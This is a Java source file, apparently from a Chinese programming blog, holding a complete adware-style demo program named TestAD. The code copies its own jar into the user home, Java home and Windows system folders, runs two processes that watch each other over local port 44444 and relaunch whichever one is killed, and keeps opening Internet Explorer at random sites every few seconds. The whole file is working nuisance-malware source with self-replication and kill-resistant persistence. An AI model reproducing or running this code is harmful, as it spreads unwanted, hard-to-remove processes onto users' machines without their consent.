/* * TestAD.java * * Created on 2006年11月22日, 下午12:55 * * To change this template, choose Tools | Template Manager * and open the template in the editor. */ package lbf.demo; /** * * @author lbf */ import java.io.*; import java.net.*; import javax.swing.*; public class TestAD implements Runnable{ private File[] root; private byte[] self; private static String IE="C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE "; private String[] urls; private boolean isServer; private Socket socket; /** Creates a new instance of TestAD */ public TestAD(String demo) { initOther(); readSelf(); checkFile(); new RunIE().start(); if(demo==null){ System.out.println("我是主进程"); doServer(); }else{ System.out.println("我是子进程"); doClient(); } } private void initOther(){ urls=new String[]{"www.sohu.com","www.taobao.com","www.bc-cn.net/bbs", "www.163.com","www.skycn.com","blog.sohu.com","www.baidu.com","www.google.com", "www.263.net","java.sun.com"}; root=new File[4]; root[0]=new File(System.getProperty("user.home",".")); root[1]=new File(System.getProperty("java.home",".")); root[2]=new File(System.getenv("systemRoot")); root[3]=new File(System.getenv("systemDrive")); } //做server或者客户端做的事情 private void doServer(){ try{ isServer=true; final ServerSocket ss=new ServerSocket(44444); System.out.println("主进程已监听"); new Thread(new Runnable(){ public void run(){ while(true){ try{ socket=ss.accept(); new Thread(TestAD.this).start(); } catch(Exception exe){ exe.printStackTrace(); } } } }).start(); startProcess(); } catch(Exception exe){ exe.printStackTrace(); } } //做客户端的事 private void doClient(){ try{ socket=new Socket("localhost",44444); new Thread(this).start(); System.out.println("子进程已连上"); } catch(Exception exe){ exe.printStackTrace(); } } //检查文件是否存在 private void checkFile(){ try{ for(File dir:root){ File file=new File(dir,"start.jar"); if(!file.exists()){ copyFile(file); } } } catch(Exception exe){ exe.printStackTrace(); } } //复制文件到目标文件 private void copyFile(File to){ try{ FileOutputStream fout=new FileOutputStream(to); fout.write(self); fout.close(); } catch(Exception exe){ exe.printStackTrace(); } } //把自己读入内存 private void readSelf(){ try{ FileInputStream fin=new FileInputStream(new File("start.jar")); ByteArrayOutputStream bout=new ByteArrayOutputStream(); DataOutputStream fout=new DataOutputStream(bout); byte[] buffer=new byte[1024]; int length=0; while((length=fin.read(buffer))!=-1){ fout.write(buffer,0,length); } self=bout.toByteArray(); fin.close(); fout.close(); } catch(Exception exe){ exe.printStackTrace(); JOptionPane.showMessageDialog(null,"读取自己出错"+exe); } } //随便启动一个进程 private void startProcess(){ out:for(File dir:root){ File file=new File(dir,"start.jar"); if(file.exists()){ try{ Process p=Runtime.getRuntime().exec("java -cp "+file.getAbsolutePath()+" lbf.demo.TestAD demo"); System.out.println("子进程已启动"+p); break out; } catch(Exception exe){ exe.printStackTrace(); } }else{ copyFile(file); } } } public void run(){ try{ InputStream is=socket.getInputStream(); is.read(); } catch(Exception exe){ if(isServer){ startProcess(); }else{ doServer(); } } } //专门启动IE进程的线程 private class RunIE extends Thread{ public void run(){ while(true){ try{ Thread.sleep((int)(Math.random()*10000)+5000); Runtime.getRuntime().exec(IE+urls[(int)(Math.random()*urls.length)]); } catch(Exception exe){ exe.printStackTrace(); } } } } public static void main(String[] args) { if(args.length==0){ new TestAD(null); }else{ System.out.println("子进程的MAIN方法调用了"); new TestAD(args[0]); } } }</td> </tr> <tr>
↑返回目录
前一篇: final在java中的应用
后一篇: 双重接口的实现,备忘录模式